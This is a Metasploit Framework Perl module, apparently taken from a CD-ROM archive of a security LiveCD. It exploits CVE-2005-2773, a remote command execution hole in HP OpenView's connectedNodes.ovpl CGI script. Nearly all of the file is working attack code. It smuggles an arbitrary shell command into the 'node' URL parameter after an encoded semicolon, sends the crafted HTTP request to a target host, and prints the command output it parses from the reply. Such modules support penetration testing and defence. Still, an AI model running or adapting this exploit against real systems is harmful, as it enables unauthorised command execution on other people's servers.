home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / openview_connectednodes_exec.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  121 lines

  1. ##
  2. # This file is part of the Metasploit Framework and may be redistributed
  3. # according to the licenses defined in the Authors field below. In the
  4. # case of an unknown or missing license, this file defaults to the same
  5. # license as the core Framework (dual GPLv2 and Artistic). The latest
  6. # version of the Framework can always be obtained from metasploit.com.
  7. ##
  8.  
  9. package Msf::Exploit::openview_connectednodes_exec;
  10. use base "Msf::Exploit";
  11. use strict;
  12. use Pex::Text;
  13. use bytes;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info = {
  18.     'Name'     => 'HP Openview connectedNodes.ovpl Remote Command Execution',
  19.     'Version'  => '$Revision: 1.4 $',
  20.     'Authors'  => [ 'Valerio Tesei <valk@mojodo.it>'],
  21.     'Arch'     => [ ],
  22.     'OS'       => [ ],
  23.     'Priv'     => 0,
  24.     'UserOpts' =>
  25.       {
  26.         'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
  27.         'RHOST' => [1, 'ADDR', 'The target address'],
  28.         'RPORT' => [1, 'PORT', 'The target port', 3443],
  29.         'DIR'   => [1, 'DATA', 'Directory of connectedNodes.ovpl script', '/OvCgi/'],
  30.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  31.       },
  32.  
  33.     'Description' => Pex::Text::Freeform(qq{
  34.         This module exploits an arbitrary command execution vulnerability in the
  35.     HP OpenView connectedNodes.ovpl CGI application. The results of the command
  36.     will be displayed to the screen.
  37. }),
  38.  
  39.     'Refs' =>
  40.       [
  41.         ['OSVDB', '19057'],
  42.         ['BID', '14662'],
  43.         ['CVE', '2005-2773'],
  44.       ],
  45.  
  46.     'Payload' =>
  47.       {
  48.         'Space' => 1024,
  49.         'Keys'  => ['cmd'],
  50.       },
  51.  
  52.     'Keys' => ['openview'],
  53.     'DisclosureDate' => 'Aug 25 2005',
  54.   };
  55.  
  56. sub new {
  57.     my $class = shift;
  58.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  59.     return($self);
  60. }
  61.  
  62. sub Exploit {
  63.     my $self = shift;
  64.     my $target_host    = $self->VHost;
  65.     my $target_port    = $self->GetVar('RPORT');
  66.     my $dir            = $self->GetVar('DIR');
  67.     my $cmd            = Pex::Text::URLEncode( $self->GetVar('EncodedPayload')->RawPayload );
  68.  
  69.     $dir = $dir.'connectedNodes.ovpl?node=%3B+'."$cmd".'+%7C+tr+%22%5Cn%22+%22%A3%22';
  70.     my $request =
  71.       "GET $dir HTTP/1.1\r\n".
  72.       "Accept: */*\r\n".
  73.       "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n".
  74.       "Host: $target_host:$target_port\r\n".
  75.       "Connection: Close\r\n".
  76.       "\r\n";
  77.  
  78.     $self->PrintLine("[*] Establishing connection...");
  79.     
  80.     my $s = Msf::Socket::Tcp->new(
  81.         'PeerAddr' => $target_host,
  82.         'PeerPort' => $target_port,
  83.         'SSL'      => $self->GetVar('SSL'),
  84.       );
  85.  
  86.     if ($s->IsError){
  87.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  88.         return;
  89.     }
  90.  
  91.     $self->PrintLine("[*] Requesting connectedNodes.ovpl...");
  92.     $s->Send($request);
  93.     $self->PrintLine("[*] Executing command...");
  94.  
  95.     my $results = $s->Recv(-1, 20);
  96.     $self->PrintLine("[*] Parsing results...");
  97.  
  98.     my @results = split ("<BODY>" ,$results );
  99.     my @parse = split ("</BODY>" ,$results[2] );
  100.     my @parse1 = split ("from : " ,$parse[0] );
  101.     my @parse2 = split ("</B></FONT>" ,$parse1[1] );
  102.     my @final = split ("ú" ,$parse2[0] );
  103.     chomp @final;
  104.     
  105.     for (my $i = 0; $i < @final; $i += 1){
  106.         $self->PrintLine("$final[$i]");
  107.     }
  108.     
  109.     $self->PrintLine("[*] End.");
  110.     $s->Close();
  111.     return;
  112. }
  113.  
  114. sub VHost {
  115.     my $self = shift;
  116.     my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
  117.     return $name;
  118. }
  119.  
  120. 1;
  121.